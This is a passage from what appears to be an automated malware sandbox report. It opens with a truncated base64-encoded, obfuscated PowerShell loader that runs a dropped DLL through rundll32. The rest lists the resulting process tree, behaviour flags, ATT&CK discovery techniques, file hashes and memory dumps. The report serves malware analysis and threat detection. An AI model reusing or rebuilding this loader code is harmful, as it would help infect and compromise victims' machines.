ACcAUgBmACcAKwAoACcAYQA3ADIAdwAnACsAJwBkACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEgAagBzADEAagBtAGoAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADIAOAAyADYAKQAgAHsAJgAoACcAcgB1ACcAKwAnAG4AZAAnACsAJwBsACcAKwAnAGwAMwAyAC4AZQB4AGUAJwApACAAJABIAGoAcwAxAGoAbQBqACwAMAA7ACQASgAwAHQAMwBtAG8AcwA9ACgAJwBQACcAKwAoACcAYgBvACcAKwAnAF8AbgB5ACcAKQArACcAdwAnACkAOwBiAHIAZQBhAGsAOwAkAE8AXwAwAHQAdgBzAGsAPQAoACgAJwBWAGoAJwArACcAaAAnACkAKwAnAHkAeAAnACsAJwBrAHMAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHkAOAByAHoAcQA4AD0AKAAoACcAVQBjADQAegAnACsAJwAyAHEAJwApACsAJwBrACcAKQA=
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\H2s6yba\Lgqwabn\Yxhd0n.dll,0
3⤵
- Suspicious use of WriteProcessMemory
PID:1236

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\H2s6yba\Lgqwabn\Yxhd0n.dll,0
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Checks whether UAC is enabled
PID:3176

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\H2s6yba\Lgqwabn\Yxhd0n.dll
MD5
f4ff765ab41db56376ba8ff3a9104140

SHA1
e6436254ef5fec9db4208d772f07c5f2153f5d4d

SHA256
8035b530d4c16bc534232b4d2843251fef2ef0d1d68bde32965088d1cdc5b031

SHA512
47dbfd3028daf8e93824ba868bb3e962e4be5b19a47ee16c07138b4d2b15fa9629cdb70527c22bdc53ba84f2c40acd045438794002e75b78ea06f63514303996

Download Submit
\Users\Admin\H2s6yba\Lgqwabn\Yxhd0n.dll
MD5
f4ff765ab41db56376ba8ff3a9104140

SHA1
e6436254ef5fec9db4208d772f07c5f2153f5d4d

SHA256
8035b530d4c16bc534232b4d2843251fef2ef0d1d68bde32965088d1cdc5b031

SHA512
47dbfd3028daf8e93824ba868bb3e962e4be5b19a47ee16c07138b4d2b15fa9629cdb70527c22bdc53ba84f2c40acd045438794002e75b78ea06f63514303996

Download Submit
memory/64-7-0x000001E7ED52F000-0x000001E7ED540000-memory.dmp

Filesize
68KB

Download
memory/64-5-0x000001E7ED52F000-0x000001E7ED540000-memory.dmp

Filesize
68KB

Download
memory/64-2-0x00007FFE68CF0000-0x00007FFE69327000-memory.dmp

Filesize
6.2MB

Download
memory/64-6-0x000001E7ED52F000-0x000001E7ED540000-memory.dmp

Filesize
68KB

Download
memory/64-3-0x000001E7ED460000-0x000001E7ED465000-memory.dmp

Filesize
20KB

Download
memory/64-4-0x000001E7ED52F000-0x000001E7ED540000-memory.dmp

Filesize
68KB

Download
memory/1236-13-0x0000000000000000-mapping.dmp

Download
memory/1600-11-0x000002ED274F0000-0x000002ED274F1000-memory.dmp

Filesize
4KB

Download
memory/1600-12-0x000002ED276A0000-0x000002ED276A1000-memory.dmp

Filesize
4KB

Download
memory/1600-10-0x00007FFE65970000-0x00007FFE6635C000-memory.dmp

Filesize
9.9MB

Download
memory/1600-9-0x0000000000000000-mapping.dmp

Download
memory/2128-8-0x0000000000000000-mapping.dmp

Download
memory/3176-15-0x0000000000000000-mapping.dmp

Download
memory/3176-17-0x00000000045A0000-0x00000000045DD000-memory.dmp

Filesize
244KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads